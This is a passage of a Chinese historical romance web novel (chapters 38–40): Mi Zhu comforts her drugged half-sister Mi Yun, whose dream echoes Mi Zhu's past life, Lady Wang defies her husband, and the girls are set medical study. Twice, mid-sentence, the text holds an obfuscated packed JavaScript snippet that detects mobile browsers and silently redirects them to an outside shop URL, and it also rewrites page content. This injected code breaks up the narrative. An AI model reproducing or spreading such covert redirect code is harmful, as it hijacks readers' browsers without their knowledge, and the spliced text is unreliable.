两人面对面站着时,他愈发察觉到这姑娘的娇小脆弱,好像轻轻一揽,就能将人满怀抱住,好好保护起来。 这种对人强烈的怜惜之意,华宣体会到时,自己都怔住了。 “你…”华宣克制自己,微微别开眼神,放轻了声音道。 “你不要难过。” 38.第 38 章 蜜珠抬眸,水盈盈的眼眸,像是能一下子看到人心里去,撞入华宣眼帘,激起了几丝难以言喻的波澜。 “我不是难过…”面对无名,蜜珠还是说出了心里话。 “我只是觉得自己很无力…”停顿片刻,蜜珠承认道:“遇到事情了,我没有什么法子,很无能。” 她本不想这样评价自己,没谁愿意面对这样的自己。 难堪极了。 前头她还在让无名远离自己,不要打扰她的生活,可临到关键时候,需要帮助了,却又用到了无名留下的哨子。 就好像只在嘴上嚷着我能行,实际上一点儿也不行。 偏偏无名一个字都没说她,反而还安慰她。 蜜珠觉得难堪,只想找个地缝钻进去。 华宣注视着她,眼神幽深。 “你不用如此责怪自己。” “没有谁生下来就什么都会。法子是想出来的。” 顿了顿,见蜜珠的神情并没有好转,华宣又道。 “我们不是朋友么。” 蜜珠一怔,在男人温柔的声音里抬眸,两人对视时,华宣克制又缓慢地开口。 “在家靠亲人,在外靠朋友,不知这句话你听过没有。” “你我既然相识,你有任何困难,于我来说只是举手之劳,帮一把又有何不可。” “今日是我帮你,或许明日后日,终有一日我也有需要你帮忙的地方。你说呢?” 桦树下,蜜珠听着无名的一番话,心中雾霭宛若被一只手缓缓拨开,方才的那些自怨自艾,都在对方的话里莫名消失。 “我能有帮到你的地方?”蜜珠下意识重复,自己都有些没把握。 认清自己是个毫无长处的人,并不是一件特别好受的事儿。也许她将来会成长,但现在,蜜珠并不自信。 无名这种来无影去无踪,身边还有那么多跟随者,处处有人脉,耳目广的人,怎么可能会需要她的帮助呢。 “蜜姑娘不必妄自菲薄。须知命运无常,也许将来我有除了姑娘之外,他人都无法破解的难局,届时只有蜜姑娘才能帮我。” 华宣声音缓慢,话中俨然有深意。 蜜珠听着他的话,心里一时悸动,她摇了摇头。 “…你实在是抬举我了。” 两人交谈的片刻,就听院子外头传来吵吵嚷嚷的声音,小柳儿的嗓音最清脆。 “二小姐回来啦!二小姐回来啦!” 蜜珠一喜,当即快步朝院外走去。 华宣瞧见蜜珠眉间的喜意,也释然笑了笑,随即闪身离开。 蓄月自始至终都站在蜜珠身侧,不论是她一开始拿出哨子吹响,唤来了暗卫,还是方才亲眼看着面具男子无名出现,和小姐交谈,她都看在眼里,一直保持着沉默。 先前她还会劝说小姐,与那江湖男子保持距离。 毕竟不日小姐就要婚假,而且还是嫁到南宁王府这样的大族中,规矩众多,只怕真的和外男有了什么牵扯,容易惹出多余的是非。 但今日之事,她瞧在眼里,那面具男子虽说对小姐格外重视,但却以礼待之。 虽从头到尾都未露出真容,但瞧着却也算是个君子了,只不过因着武艺高强,常年在江湖上混,有些做法和普通的世家公子不一样,就显得冒昧了些,但对方没有恶意,反而是发自内心想要帮小姐。只凭这一点,就足够了。 今日这面具男子,能为了小姐的一句哨音,而专程赶来帮着找到二小姐,他日若是小姐真的遇到什么难处,兴许对方也能出手相助。 蓄月心里亲近蜜珠,自然全身心为她打算。 只不过以后她打着主意,为了小姐好,还是不能让这二人独处,她得多在旁边看着点。 小姐正是花容月貌又出阁的年纪,最容易滋生情愫。 面具男子再有情有义,也改变不了小姐即将嫁的那个人是南宁王世子。 真若生出什么情愫,对两个人来说,都不是什么好事,反而是一种折磨。 经过这段时日的观察,蓄月心中也隐隐放下了一些担忧,小姐虽在一些事情上有些单纯,但心中有道义,是知道什么可为,什么又不可为的。 观面具男子对小姐的态度,也是尊重的,想必就算将来真的对小姐生出好感,也…… 哎。终究还是有隐患。蓄月心中叹息。 院子外头蜜云这会儿正被刘小娘掐着手背骂。 “你这丫头真是好狠的心!娘只是和你吵了几句,你就那么大气性跑出去!弄得娘差点一头撞死!” 先前蜜云没踪影的时候,刘小娘还看着狼狈到眼圈通红,哭哭啼啼的。 等到蜜云真的回来后,她就又恢复了之前对女儿的那套方式。 蜜云看着神情有些恍惚,被刘小娘掐了,也没有躲和反抗,整个人看着木木的。 蜜珠快步过去,将她拉到身旁,对刘小娘道。 “好不容易她回来了,小娘别凶她。” 她瞧着妹妹有些不对劲,蜜云整个人神情木木的,不如平日灵动。 刘小娘本想再说点什么,但方才也看到了,是蜜珠找来的人将自己女儿寻回来,往日里那些刻薄的话,就没法说出口了。 “小娘你去歇歇梳洗一番罢,妹妹交给我,爹快回来了,若让他看到府里鸡飞狗跳…” 蜜珠的话未说完,刘小娘也意识到自己如今的形象很糟糕,她深深看了眼在蜜珠怀里的女儿,一步三回头回去换洗梳妆了。 等到刘小娘离开,面前顿时恢复了安静,蜜珠轻轻舒了口气,回眸看了眼小柳儿。 “怎么回事?” 小柳儿之前也一直在门房那守着,是第一个瞧见二小姐回来的,见蜜珠问话,忙叽叽喳喳回答。 “二小姐是被一个男子牵着马送回来的。” 听着小柳儿形容了那人的容貌特点,蜜珠猜测那人应是无名手底下的人,兴许是先前她吹哨音时,唤来的男子。 总之,这件事算是欠了无名好大一个人情,以后找机会还吧。 蜜珠将蜜云带到自己房里,一路上蜜云就跟失了魂一般,一直苍白着脸,没什么明显的表情,哪怕是见到了府里的亲人了,也是一副半睡半醒的模样。 “二小姐瞧着不太对。”蓄月多瞅了一眼蜜云,忍不住开口。 往常二小姐在外头虽然安静,显得过于拘束讲规矩了,但一到大小姐自个儿的院子里,肉眼可见的会放松下来,就像小鸡崽一样粘着大小姐,跟在身后。 今日这样实在是不对劲。 不用蓄月说,蜜珠也发现了其中的异样。 她拉着蜜云到房中,屏退了下人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552423|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,拉着蜜云的手,轻声问。 “这半日你去哪儿了?” 蜜云听到了蜜珠的声音,就跟刚刚从梦里醒过来一般,缓缓地抬眸。 “嫡姐…”蜜云恍若刚认出她,有了个瘪嘴的委屈动作。 蜜珠伸手,轻轻拍拍小姑娘脑顶,不太熟练地哄着。 “没事了,回来就好。回来就好啊。” 听着蜜珠温柔的声音,又看着四周熟悉的环境,蜜云就跟虚脱了一般,后知后觉出了一身冷汗,猛地坐了起来。 “嫡姐,我今日不是自己要走那么久的,我是遇到了几个奇怪的西域人,其中一个老婆婆借着指路,让我闻了一种香料,然后我就昏睡过去了…” “等再醒来的时候,是见着一个男子和我说,他是听了嫡姐的话,将我带回去…我坐在马背上,虽然身子能自如的行动了,但看什么都像是雾里看花,隔着一层什么,显得很朦胧,脑袋转得也迟钝…” 蜜云很少一口气讲这么多话,她挨着蜜珠,小声把今日经历的惊险一遭说完。 蜜珠就一直安静听着,心中不禁也为这个妹妹感到后怕。 还没到花灯时节,却提前遇到了这么一遭事儿,按着云儿的说法,闻了西域人的香料后就陷入了昏迷,若这中间没有无名的人帮忙,是不是云儿就回不来了? “别怕,别怕。” 蜜珠伸手,轻轻揽住这个妹妹。 两人像是雪地里的两只小动物挨成一团。蜜珠瞧着并不比蜜云大很多,甚至容貌要更加显小一点,但却尽力让自己像个成熟的姐姐那样,将还惊魂未定的蜜云哄好。 蜜云只是慌了一会儿,就自己缓过来,不好意思道。 “嫡姐,我没怕了。” “我只是做了一些梦,为这个梦感到恐惧…” 提起梦的时候,蜜云的音调都有些变形,巴掌大的清秀脸蛋透出几丝很深切的迷惘。 “你梦见什么了?”蜜珠一怔,莫名觉得这个样子的蜜云,很像是自己刚刚重生回来的时候。 她的预感被证实。 果不其然,蜜云提起自己的梦境。 “我梦见嫡姐没有嫁给南宁王世子,长公主也没有来提亲。世子生了病没治好,嫡姐你就…没多久你和曲公子在一起了,惹来了很多京城里的闲言碎语…” 似乎说起这些的时候,很耗费精神,蜜云捂住了自己脑袋,试图将剩余的梦境再全部回忆起来说清楚。 “我…我看到了很漂亮的花灯,也是遇到了西域的那个婆婆,然后…” 似乎看到了什么很惊恐的东西,蜜云整个人开始哆嗦起来,说话都战战兢兢近乎结巴。 见妹妹害怕得厉害,蜜珠只能继续抱着她,轻轻拍背。 “不用怕,那只是一个梦,想得起来就慢慢说,想不起来也没事。” 嘴上这么安慰蜜云,蜜珠心里却已经被掀起了惊涛骇浪,只是没有表露出来。 她先前重生回来之后,就用梦的借口,和娘说了自己的变化,从而彻底远离曲立封。所以妹妹说起自己和曲立封在一起的梦境,并不算稀奇,稀奇的是,关于南宁王世子去世的那部分,还有花灯会蜜云走丢… 这两件事,蜜珠从来没说过。 无巧不成书。妹妹梦境里的事情,和蜜珠前世里发生的轨迹一般无二。 39.第 39 章 有蜜珠的安抚,蜜云慢慢放松下来,只用手再掐了一下手背,感觉疼了,才泪汪汪对蜜珠道。 “嫡姐,我梦见我被带到西域去了…” 梦境里其他的记忆支离破碎,回忆不起来了,只记得自己一直在以泪洗面,终日思念着自己的家,却只能眼睁睁看着故土越来越远。 “西域?今日将你迷晕的那个西域婆婆,和你梦境里遇到的是同一个人吗?” 蜜珠仔细打听。 蜜云努力回想,犹豫地点头:“嗯,她身上有很多稀奇古怪的东西,香料、铃铛,还有一些奇怪的药。怕我在路上不安分,和别人求救,她就让我吃了一个药,我的嗓子就不能发出声音了。” 说到这里,蜜云停顿片刻,神情还有些恍惚。 她总觉得那个冗长的梦境,真的好真实啊,就好像自己真的在梦里经历了那样的一切,有过那么强烈真实的恐惧与无助。 如今回到家中,坐在嫡姐旁边,她甚至有种不太真实的感觉。 到底哪个才是真正的梦呢? 是被带到西域,就此远离故土成为了小哑巴的自己,还是如今安然回到蜜府,依然二小姐的自己? 蜜珠瞧她状态依然没恢复,想了想,开口道。 “云儿,先前我也做过类似的梦。甚至在梦里发生了一些,如今尚未发生的事情。等我醒来之后,恍惚了好久。我想,这有些像预知梦,或者,倘若人有轮回,还要喝孟婆汤,兴许是我们上辈子经历了一些事情,但却一直执着想要改变,所以重新回来了。而轮回中的那些不好记忆,就通过梦境提醒我们。” 她一边说,一边观察着蜜云的反应。 此时节的人大多忌讳怪力乱神,重生的事情,蜜珠从来没有和任何人真正提起过。最多也就是借着梦境的方式,先前和身边亲近的人提过一嘴。 今日也是听到了蜜云的梦,心中有感,才会不知不觉多说了一些。 “嫡姐…”蜜云的眼睛亮了起来,似乎是被她方才的话说通了。 “我梦里的确心心念念想着要回家。哭过闹过,甚至试图逃跑,还试图绝食,但都没有用。万念俱灰之下,我把自己记得的神仙,在心里求了个遍,求着他们能让我回家。” “我就想,倘若那天我没有出门看花灯就好了…梦境中每时每刻我都在后悔…那西域婆婆总是让我喝一下古怪的药,还…还把虫子放到了我身体里,我听他们说这是在培养什么蛊毒…” 说到这里时,蜜云的脸色又变回了苍白。 她自小就被养在深闺中,虽说爹的脾气不太好,小娘的性子也不算温和,她偶尔会受些气,但她作为府里的二小姐,在吃穿用度上,从来没吃过任何亏,也没其他人给她苦受。 可在梦境中,一落到那个西域婆婆的手里,日子顿时就跟从天堂落入了地府,说不清的痛苦,有时候吃了那婆婆给的药,她浑身就会巨疼,疼到虚脱昏厥。 这种滋味哪怕是隔着梦境,稍稍回忆一下,她都忍不住打哆嗦。 蜜云往身边温柔的嫡姐怀里一躲,声音哽咽道。 “太吓人了,还好只是梦。” 而且梦里的那个西域婆婆,就和今日将她弄晕的人长得一模一样,这种玄乎之处,让人一想就不寒而栗。 也许,真的和嫡姐说的一样,是天上的神仙见她在梦中过得太惨了,就让她有了重来的机会… 蜜云脑袋晕晕乎乎的,颇有一种劫后余生的庆幸,因着受到了惊吓,小手一直攥着蜜珠的衣袖,怎么也不敢松开。 梦境里的嫡姐性子一直是文静懦弱的,她们根本就没有后来一起习武的那些经历,嫡姐也没有像现在一样认识那些神通广大的江湖人士,及时将自己救回来。 而其他人,无论是小娘,还是爹,都和梦境里一模一样。 所以,如今只有嫡姐,才能给蜜云几丝安全感。 她靠在蜜珠身边,就跟变成了幼童一般,说什么都不愿意离开。 “嫡姐,我能和你一起睡吗?” 她不想回自己院子。 现在的蜜云,拉着蜜珠时,宛若溺水之人,抱紧了木桶,本能的不愿意放开。 蜜珠是经历过重生的人,也独自走过默默拭泪却叫天无路叫地无门的绝望时刻,她比谁都懂得蜜云此时的心情。 从地狱中睁开眼睛,发现一切不好的尚未发生,还能有挽回的机会,这是多庆幸的事情啊。 “你爱住这儿就住,你小娘那儿我去帮你递个话。放宽心。” 蜜珠轻轻拍了拍妹妹后背,声音温和。 她对一旁的蓄月道:“你去给刘小娘传话,就说云儿受了惊,这会儿人乏了,就在我这里歇下了,让刘小娘别担心。” 蓄月点头应是,出门去了。 小柳儿站在旁边眨巴眨巴眼睛,觉得真好。 若是小姐让她去传话,指不定她会对刘小娘说出什么呢。 归根到底,是因着刘小娘平日里对自己的亲生女儿,脾气都太不好了,才会惹出今日这桩事情来。 “我去端晚膳。”小柳儿笑呵呵开口,也给自己找了活儿干。 王氏作为主母,从前管事不多,也没什么必须要遵守的规矩,是以无论是蜜珠,还是蜜云,过去用膳都是在自己的小院子里,有专门的小厨房。并不会一大家子都坐在一块儿吃。 除非是遇到什么正月过年之类的大日子,才会齐聚一堂。 像今日这般,蜜云能留在自己嫡姐房间,姐妹俩说说悄悄话,再一起用膳,一起就寝,几乎是从小到大从来没发生过的事儿。 王氏晓得蜜珠近日和庶妹走得近,姐妹俩感情好,今日必定有说不完的话,就也没多来打扰。 刘小娘则不一样了。 她刚回去梳洗打扮好,恢复了往日的体面,就听蓄月过来传话,说女儿今日不回来住了,要在大小姐的院子里留宿。 刘小娘手里的梳子,重重拍到了桌子上。 “到底谁是她亲娘!” 这话到底是没有在蓄月跟前直接说,而是等她走了之后,才对着屋子里其他婢女,把火撒了出来。 她眼巴巴等了大半日,心肝肠都为了云儿纠成了一团,结果等到了人好端端回来,却和自己半句话都没说过。 刘小娘气得肝疼,捂着肚子,心中说不出的恼怒。 若换成平时,听到女儿不回来,她铁定就直接带人上门去抓了。 她的女儿,从她肚子里爬出来的,身上有她的血,当然是和她最亲近,夜里怎么能不回来,宿在外头呢。 可今日刚和蜜云发生过争吵,还因着这样的争吵,导致女儿离家出走大半日,差点报官。 刘小娘哪怕心中有火气,一时半会也不敢像往常那样随意发出来了。这事儿也算是往她脑袋上打了一棒,她终于意识到,女儿有腿能走,不是自己想拘着就能拘住的了。 她只能生闷气,在其他婢女身上发火。 比起刘小娘这边的怒意蓬勃,王氏和蜜珠之间就显得温情许多。 今日蜜老爷和同僚喝了酒回来,就从管家那儿知道了蜜云差点走丢的事儿,酒醉之后蜜老爷本来就脾气差,一听后宅不安宁,登时就脾气发作,拍着桌子大骂。 这样瞧着他和偏院里的刘小娘,才更加像原配夫妻,在发脾气这事儿上,有着异曲同工。 “老爷,人都已经找回来了,你发什么火?” 王氏这次没有往日那样懦弱,并没有垂着头任凭他骂,反而还慢吞吞反驳。 “若是老爷平时就对蜜云姐妹俩,多一些关心,她也不至于和刘小娘生气了,那么伤心离府。” 同为女子,王氏身边也有个像刘小娘一样一点就炸的臭脾气丈夫,她当然能理解蜜云这样的一个小姑娘,自幼战战兢兢的感觉。 脾性温和的人,无法理解和明白,为何好端端的要发那么多火,好生吓人啊。 蜜老爷被顶撞了,有些不敢置信,瞪大眼睛看王氏。脸上的胡子都跟着抖动了几下。 王氏被他这样看着,心里下意识咯噔一下,想起来了往日丈夫的威慑。 但转瞬,在她心中响起的,是珠儿从前说过的话——那些哪怕当泼妇,老爷也要遮掩着的话。 谁愿意当贤妇,若是贤妇只会被欺负泄愤的话,还不如当个有话直说的泼妇。 于是王氏嘴巴继续动:“老爷心里只有儿子,不把自己的女儿当子嗣,也不真心关切他们。就是对过继来的儿子,老爷也不好好教养,将来儿女都不成器,旁人只会笑话我们教养不佳。妾身倒是没什么,只是一介妇孺,就连你们蜜家的族谱都不上,就是后世有骂名,也担不到妾身头上。” “但是老爷你就不一样了,堂堂太史令,将来就是蜜家的老祖宗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565412|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却没能管好子嗣,以至于将来…” 话说到这里,王氏就也不说了,但方才的那些言语,无异于是几根尖锐的刺,深深扎入了蜜老爷的心。 后者就连发火都忘记了。 从当初把王氏娶进门来之后,蜜老爷就知道自己的这个大妇,是个性子温和宽厚的,以夫为天,说好听点事事以他为尊是没有主见,难听点就是懦弱,遇到什么大事儿就会方寸大乱,得他这个大老爷们才能拿主意。 而今在他面前大半辈子都俯首帖耳的妻子,今日不知道受了什么刺激,竟然说出这些…这些大逆不道的话! 蜜老爷气得心口一阵起伏,常年与同僚们小酌几口养出来的肚子都跟着剧烈起伏,显得有些盛怒之外的滑稽。 “你是在咒我?”他铁青着脸质问。 他身为一家之主,如今竟然连个妇人,都能爬到他脑袋上作威作福说他了? 王氏的身体本能瑟缩,这是将近二十年里养出来的习惯,但脑袋还在转,尝试过大胆直言后的嘴,很难再回到以前的闷葫芦了。 “我怎么敢咒老爷,夫妻一体,老爷没了,妾身不就成了寡妇,如何能撑得起来这整个家业。蜜林如今尚年幼,没了老爷当爹,我们这一家子孤儿寡母的怎么活?” 蜜老爷气到快爆炸了,眼睛都快从眼眶里飞出来,脸红脖子粗,手指指着王氏连连颤抖。 “你!你!” 若真说起来,王氏并没有说什么太直接的话来顶撞他,但就是莫名听着让人火大,蜜老爷毕竟是个文人,往日里发火也只是言辞粗鄙了一些,倒还不至于真的和个弱女子动手。 如此,他就陷入到了一个困局——拿这番伶牙俐齿的王氏没办法了。 “老爷这般看着我,可是妾身说错话了?妾身也是一片好心,想让老爷百年之后也有贤名。毕竟日日酒醉而归,也是伤身子的,老爷长长久久的,妾身心里才踏实。” 王氏一脸柔弱无辜,甚至还有点儿哽咽。 蜜老爷气死了啊,偏偏还有火发不出来。 他从来不知道王氏讲话还有这么气人的一面。 仿佛绵里藏针,听着字字句句为你好,但就是气人啊。 许是今日的确酒喝多了,蜜老爷感觉自己笨嘴拙舌,说不出话,意识到自己处在了下风,他猛地一甩袖子,刚刚准备脱下的外衫都顾不上穿好了,径自往门外走去。 蜜老爷的随身小厮在外头候着,诧异道。 “老爷,您去哪儿?” 这都是就寝的时辰了,怎么还这副急匆匆的模样往外走。 蜜老爷脚步一顿,没好气道:“去偏院。” 偏院就是刘小娘的院子了。 自从上次呵斥了刘小娘之后,蜜老爷已经好几日没有去那儿过夜了。今日也是被气急了,才会想到另外一个姨娘。 毕竟整个蜜府,有名分的就王氏和刘小娘两个生下了子嗣的人,其他被宠幸过的女子几乎都是没名分的通房丫鬟。 蜜老爷生怕别人知道他生不出儿子,就更加不能让人觉着他后院里女人多了。 有很多女人,却生不出一个儿子,和自己洁身自好不愿意流连于美色,导致后院女人少,子嗣刚好也少,这是两码事。 这就导致了,除了王氏和刘小娘的院子,蜜老爷无处可去。 看着蜜老爷气冲冲离开,王氏收起脸上的神色,整了整自己的发型,轻轻舒了口气。 原来珠儿说的有道理啊。 哪怕是在家中向来表现威严的老爷,也有自己的软肋,最担忧的就是名声。但拿捏了这一点后,哪怕她不再是以前那么任劳任怨和好脾气,她也依然是蜜府的主母。 王氏觉得这日子仿佛多了几丝新滋味,新世界的大门在打开。 “去将小厨房做好的菜,送去给大小姐,让她补补。” 王氏对丫鬟这样吩咐。 从前蜜老爷胃口好,从外面喝酒回来后,还要再让王氏伺候着吃点美食,然后再睡。 今儿蜜老爷被气走了,刚好。 不用伺候人了,今儿能睡个好觉,也不用受气了。 王氏支棱起来,对着镜子照了照,看自己都顺眼了几分。 她觉得自己以前傻,怎么就会一门心思认为自己生不出儿子,有愧于老爷,那么伏低做小呢。 明明是老爷自己不行。 40.第 40 章 赶着饭点,王氏的人给蜜珠送去了精美的晚膳。 “二小姐不必担忧,夫人说了,老爷今日喝醉了歇在刘小娘那儿,没人会让二小姐回去。” 王氏难得强势,用这一招曲线救国,把蜜老爷赶到了刘小娘房中,让蜜云能更加自在的和女儿在一块儿过夜。 毕竟这后院里的日子过了那么久,刘小娘是什么性情,怎么对待蜜云的,王氏一直都看在眼里,晓得对方肯定还会弄出些幺蛾子。 “夫人还说了,还有两个多月大小姐就要出嫁,二小姐若是愿意陪着大小姐,这两个月搬过来住也可。只要大小姐和二小姐开心,旁的事儿你们都不用操心,夫人会解决。” 言下之意就是无论刘小娘怎么闹,王氏都会处理好,不让她影响到蜜珠姐妹俩剩下的相处时光。 以前王氏是不会插手这些后宅之事的,凡事都采取息事宁人的态度。 像今日这种事儿,她还是头一次做。 蜜珠听着丫鬟来传的话,杏眼眨了眨,对娘的转变,既感到高兴又感到骄傲。 好威风啊。 蜜云怔怔听着这番话,眼圈不知不觉红了,鼻尖也酸酸的。 她攥紧的手松开了些许,低着脑袋轻轻吸鼻子。 想和嫡姐挨着多说说话,一直是她小时候的梦想,但因着小娘不允许,她就只能克制着内心对嫡姐的亲近,保持着距离。 这些细小的束缚,成为了压在心上的一块大石头。 大石头沉甸甸的,像是一座假山,看着没有边界,无形中让蜜云这不敢做,那不能去,仿佛人生就是由小娘的喜好所构成。 “嫡姐…我既难过又开心…” 蜜云哽咽开口,心中是说不清的复杂。 幼时最期盼的事情,终于成了真,然而也到了嫡姐快出嫁的时候,姐妹俩也没有多少相处时日了。 想到嫡姐成亲之后,就再也不住这里了,往后姐妹俩要再见面,像今日这样交谈,几乎不可能。 这又是一重让蜜云伤心的事。 “云儿,别哭。”蜜珠晓得妹妹在难过什么,轻声安慰道。 “我们要朝前看,往后的日子只会越来越好。重视情谊本身是好事,但若过于多愁善感,只会影响我们眼下的日子。” 蜜云听着连连点头。 “可我怕将来不再有机会,和嫡姐这样说话了。” 她抽抽噎噎,还是小声说出了心里话。 蜜珠听了这话,忍不住笑了。 “怎会没机会?我是成亲,又不是和亲。南宁王府也在京城,虽说咱们不在一个府里了,但…” 蜜珠话音一顿,轻笑开口:“我的情况你也知道,未来夫君只当是个摆设,也没有什么后宅的麻烦。相比之下,我还比普通女子更自在一些呢。要么我来见你,要么你来王府小住,不是什么难事。” 听着嫡姐这么轻声细语说未来的事儿,仿佛一切都变得简单了。 蜜云破涕为笑:“这样便好。” “吃饭罢。今晚好好歇息,其余的明日再说。” 知道妹妹今日经历了大起大落,这会儿心境不稳,蜜珠没有再多问那西域婆婆的事儿。 姐妹俩团团坐着用膳,蜜云低着脑袋吃饭香喷喷,像只小花猫,是不是就看看蜜珠笑。 “我喜欢和嫡姐一块儿用膳。” “要是我们是同胞姐妹就好了。” 蜜珠听着妹妹的絮叨,刮了她一下鼻尖:“虽然不是一母同胞,但你我是亲姐妹,与之有何差别?” 蜜云听了,脸上浮现了满足的笑。 一旁的小柳儿和蓄月在旁边打着蒲扇,见到温馨场面,也不由相视一笑。 似乎所有人的生活,都开始变得越来越好了。 * 清晨天刚亮,蜜珠发现门上又来了一封信。 被一根羽毛箭射穿,钉在门槛。 蜜珠抿了抿唇,快步走去,俯身捡起。 字条还未展开,当然就已经能猜到,这是何人的手笔。 “昨日之事已查清解决,是西域的一伙商贩。来中原寻找培育蛊毒的药女。” 短短几行字,把前因后果都说清了。 蜜珠不禁想起昨日听到云儿说的梦。 在蜜云的梦境中,西域婆婆给她服用了很多古怪的药,还在她身上下了很多蛊毒折磨她。 她本就觉得,蜜云的那个梦来得古怪,近似于她重生之事。 而今有了无名调查后写的字条对比,愈发肯定,蜜云梦见的那些事,兴许的确是有可能发生的。 倘若她没有重生拉着蜜云一起习武,刘小娘也就不会因此和蜜云发生争吵,以至于让后者负气之下离府,从而提前遇上那西域婆婆。 所以不管是蜜云的梦境中,还是前世真实发生的事情里,那西域婆婆都像是一个蜜云的劫数。 蜜珠盯着字条,若有所思。 等用过早膳之后,她按着时辰及时赶到了月夫人的府邸。 “蜜珠!”姜芊老远看到了蜜珠,一高兴就顾不上世家小姐的礼仪,从马车里探出脑袋,冲她挥手。 在京城贵女中,姜芊的性子无疑算是跳脱活泼的,比较少见。 这性子有些像蜜珠的好友陆木兰。 陆木兰是武官之女,幼时因着和蜜珠住得近,曾经往来过一阵。 但后来因着陆家调动,去地方履职,便只能离开京城,和蜜珠的联系,也变成了偶尔的书信联络。 许是姜芊这一刻展现出来的热情,和幼时的好友太过相似,蜜珠一瞬间有些恍惚,忽然有些思念好友陆木兰。 等蜜珠下了马车,就见姜芊和白豆蔻二人,竟是从同一辆马车中出来。 姜芊等不及丫鬟搀扶,就拎着裙摆跳了下来。 白豆蔻则稳重许多,一举一动都更加符合世人印象中世家贵女的典范,显得文静又淑女。 “蜜珠。还以为你今日也不来呢。” 姜芊凑到蜜珠跟前,笑吟吟看着她,一双有些狭长的眼睛,满是狡黠。 倘若是她的话,有正当理由请假,定然是能赖几天就赖几天,多在家中休息才是。 蜜珠可太乖了。 就是这种乖乖的,瞧着特别秀美的模样,姜芊看了心里就生出保护欲! “昨日有急事,便请了半日的假。如今既然好了,自然该早些回来。” 蜜珠笑了笑道。 “月夫人讲授的东西,并不仅仅是规矩,于我有益,合该珍惜。” 白豆蔻慢了一步过来,听到了蜜珠和姜芊的对话,闻言点头,看蜜珠的眼神,也多上了几丝看知己的味道。 “不错。据说月夫人打算从明年开始就回乡颐养天年,不再教授学生了。若我猜得没错,我们应是她最后一批学生。” 一行人说着话,重新回到了昨日的厅堂。 今日月夫人只是看了看她们三个,便对她们道。 “大户人家的规矩,哪怕没有我教,等你们日后成家了,自然也都能做好。但一些医理,我盼着你们如今就开始熟悉掌握。” 蜜珠暗暗纳罕,月夫人说的医理包括什么。 几乎所有的勋贵人家,为了方便和安全,都会在府中养上专门的大夫。 除了那些世代学医的人,蜜珠几乎没听过还要女子在出嫁之前专门学医的。 月夫人让人拿了一张巨大的羊皮纸进来。 羊皮纸摊开后,上面赫然展露着一个人形的身体,从头到脚都密密麻麻标注着一些字体。 “人体所有的奇经八脉和穴位,但凡是重要的,我都写在上面了,给你们三日时间,将它完全记住。” 蜜珠一愣。 三日? 她和白豆蔻虽有些疑惑,但尚能保持平静,一旁的姜芊沉不住气,忍不住惊呼出声。 “要背这个?这怎么来得及!” 不是说好来学规矩的么,怎么会变成来学医啊。 姜芊最不耐烦学东西,看到密密麻麻的人体穴位和一旁的标注小字,头皮已经开始发麻。 天啊,这可比从前跟着读书习字还来得头疼。 月夫人看着座下三个学生的反应,眸光平静,继续道。 “我还没说完。” 她话音一落,原本还有点儿动静的蜜珠三人,顿时都恢复了安静,一个个眼巴巴看着她。 蜜珠是有点儿懵,白豆蔻是对一切都处之泰然,姜芊则是完全的震惊。 难道除了背穴位和医理,还有别的东西要学? 迎着三个姑娘情绪不一的眼神,月夫人呵呵一笑。 “我会你们每个人下发三种不同的草药,每个人三种,三个人就是九种。我需要你们把九种草药能搭配出来的药理,弄清楚写出来一同给我。” “以三日为限。” 说完这话,月夫人便恢复了沉默,随即从门外进来三个丫鬟,每个丫鬟手上托着一个托盘,其上放着三种颜色形状不一的草药。 虽说这任务听起来很难,但蜜珠却觉得好新鲜啊。 她相信声名在外的月夫人,肯定不会做无用功,那么如今给她们布置的任务,也定然是有寓意在的。 对蜜珠来说,她掌握的东西实在是太少了,聪慧也有限,导致她遇到事情时,常常会陷入到不知该怎么做的处境中。 尤其是经历了昨日妹妹走丢的事情,她愈发看清了自己如今的缺憾。 虽然侥幸拥有了重生的机会,但除了不再和曲立封发生交集之外,她似乎并无其他的大长进。 人生是不断往前变化行走的,她前世知道的事情,只有那么几个,如何能抱着它们去度过一生呢。 她得学习! 白豆蔻在拿到三株草药的时候,悄悄回眸看了一眼好友和蜜珠。 看到姜芊的愁眉苦脸时,她唇角轻扬,有些忍俊不禁。 好友从小就这样,遇到事情了先叫起苦,算是不折不扣的性情中人,藏不住情绪。 而蜜珠… 当眸光落到蜜珠身上,看清她此时的神态时,白豆蔻有些惊异。 她在来之前,家中长辈早就有打听过月夫人情况的,暗中叮嘱过她,到了这儿后,要用心去听月夫人说的话,用心学。 月夫人本身就是精通医理,尤其是针对女子养身这方面,有一些非常独到的理解。 大户人家后宅之中,时常会有一些争端,女子之间若是为了争夺地位,难免会有一些勾心斗角。若是遇到黑心肠的,在膳食间下药,从而达到去除一个人的目的,也是常有的事。 作为当家主母,的确不用精通医理,但若能识别一些常用的腌臜配药,便能更好的保护自己。 白豆蔻了解月夫人不会无的放矢,才会将对方安排的每一件,看似不合理的事情,都放在心上,尽量去完成,从一开始就没有带任何抗拒心理。 可蜜珠看似是不了解其中内情的,竟然也对月夫人教的东西颇有兴致,这就很难得了。 一时间,白豆蔻对蜜珠生出了几丝认可。 先前她虽然对蜜珠表露出了友好,但这只是她作为世家贵女,自幼养成的风范,无论对谁都尽可能以礼待之。 但实际上,内心深处白豆蔻是自负的,寻常人入不了她的眼。 